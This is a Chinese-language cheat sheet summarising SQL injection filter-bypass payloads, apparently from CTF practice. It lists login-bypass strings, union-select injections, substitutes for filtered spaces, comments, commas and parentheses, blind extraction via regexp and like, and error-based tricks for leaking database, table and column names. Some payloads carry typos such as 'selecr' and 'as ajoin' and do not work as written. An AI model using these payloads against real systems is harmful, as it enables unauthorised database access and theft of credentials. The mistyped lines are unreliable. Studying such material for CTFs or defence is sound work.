sqlbypass小结

总结下sql常见的bypass方式

最普通

username=admin’#

在’’内

上面会变成’admin’’ gg

username=admin’ or 1#
这样变成
‘admin’ or 1#’

即使是post也试试

admin’ or 1–+

SELECT 1 FROM users WHERE name=’’ AND password=’’
直接
admin’–+
就过了

过滤了 # – =

username=admin’ or ‘a’ like ‘a

$sql = select * from users where username=’$username’ and password = ‘$password’

username = 1’ or 1 or ‘
password = 1

变成

select * from users where username=’1’ or 1 or ‘’ and password = ‘1’

联合

username = 1’ union select 1,2#

空格被过滤

用%09%0A %0B %0C %0D %A0 %20 /**/绕过

注释符

#, --+, /*xxx*/, /*!xxx*/, /*!50000xxx*/

高阶玩法还可以嵌套使用

比如只需利用一个*/闭合多个/*!

and 1=1 测不出

+,-,*,%,/,<<,>>,||,|,&,&&,也可以将and换成or,&&, ||等

也可以不使用and或者or,直接使用异或截断:

1^1^0,1^0^0

有 -

admin’-1-‘

admin’-0-‘

看见了这个 1’<0e0union select 1,2,3

过滤 substr

ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d

过滤 逗号

union select 1,2,3

union select * from (select 1)a join (select 2)b join (select 3)c

已知表名但不知道字段名且过滤information_schema或者直接过滤了字段名

union select (select i.1 from (select 1,2,3 union select * from user)i limit 0,1),2,3

union select (select i.1 from (select 1,2,3 union select * from user)i limit 1,1),2,3

union select 1,(select i.2 from (select 1,2,3 union select * from user)i limit 0,1),3

union select 1,(select i.2 from (select 1,2,3 union select * from user)i limit 1,1),3

原理是把不知道的字段名改成1,2,3…好像叫什么虚表

还可以用order by盲注的方法

union select 1,0x31,3 order by 3

union select 1,0x3132,3 order by 3

过滤()

就是 substr() ascii()这种都gg

使用 Like和regexp

union select 1,2,3 from user where password regexp ‘^1.*$’

union select 1,2,3 from user where password regexp ‘^12.*$’

union select 1,2,3 from user where password like ‘1%’

过滤information_schema,SCHEMATA,TABLES,COLUMNS

知道表名想爆库名 直接随便打个函数 比如

?id=aaa()

原理就是当一个库中不存在的自定义函数他就会爆出当前库中没有此函数

爆表名

Polygon和linestring

?id=1 and Polygon(id)

?id=1 and linestring(id)

爆字段名

用using逐个爆破

首先知道id这个字段 (就问号前面的) 即使不知道也能爆其实

1 and (selecr from (select from user as ajoin user as b using(id)) as c)

比如这时爆出了 username

1 and (selecr from (select from user as ajoin user as b using(id,username)) as c)

原理就是在使用别名的时候,表中不能出现相同的字段名,否则就会报错,从而爆出字段名,在使用using函数依次爆出其他字段名

案例

lctf2017 他们有什么秘密呢?

涉及 用一个不存在的自定义函数,就可以爆出数据库名

polygon函数 及类似的

multiPolygon(id)
multilinestring(id)
linestring(id)
GeometryCollection(id)
MultiPoint(id)
polugon(id)

using+join

参考

https://mp.weixin.qq.com/s/fSBZPkO0-HNYfLgmYWJKCg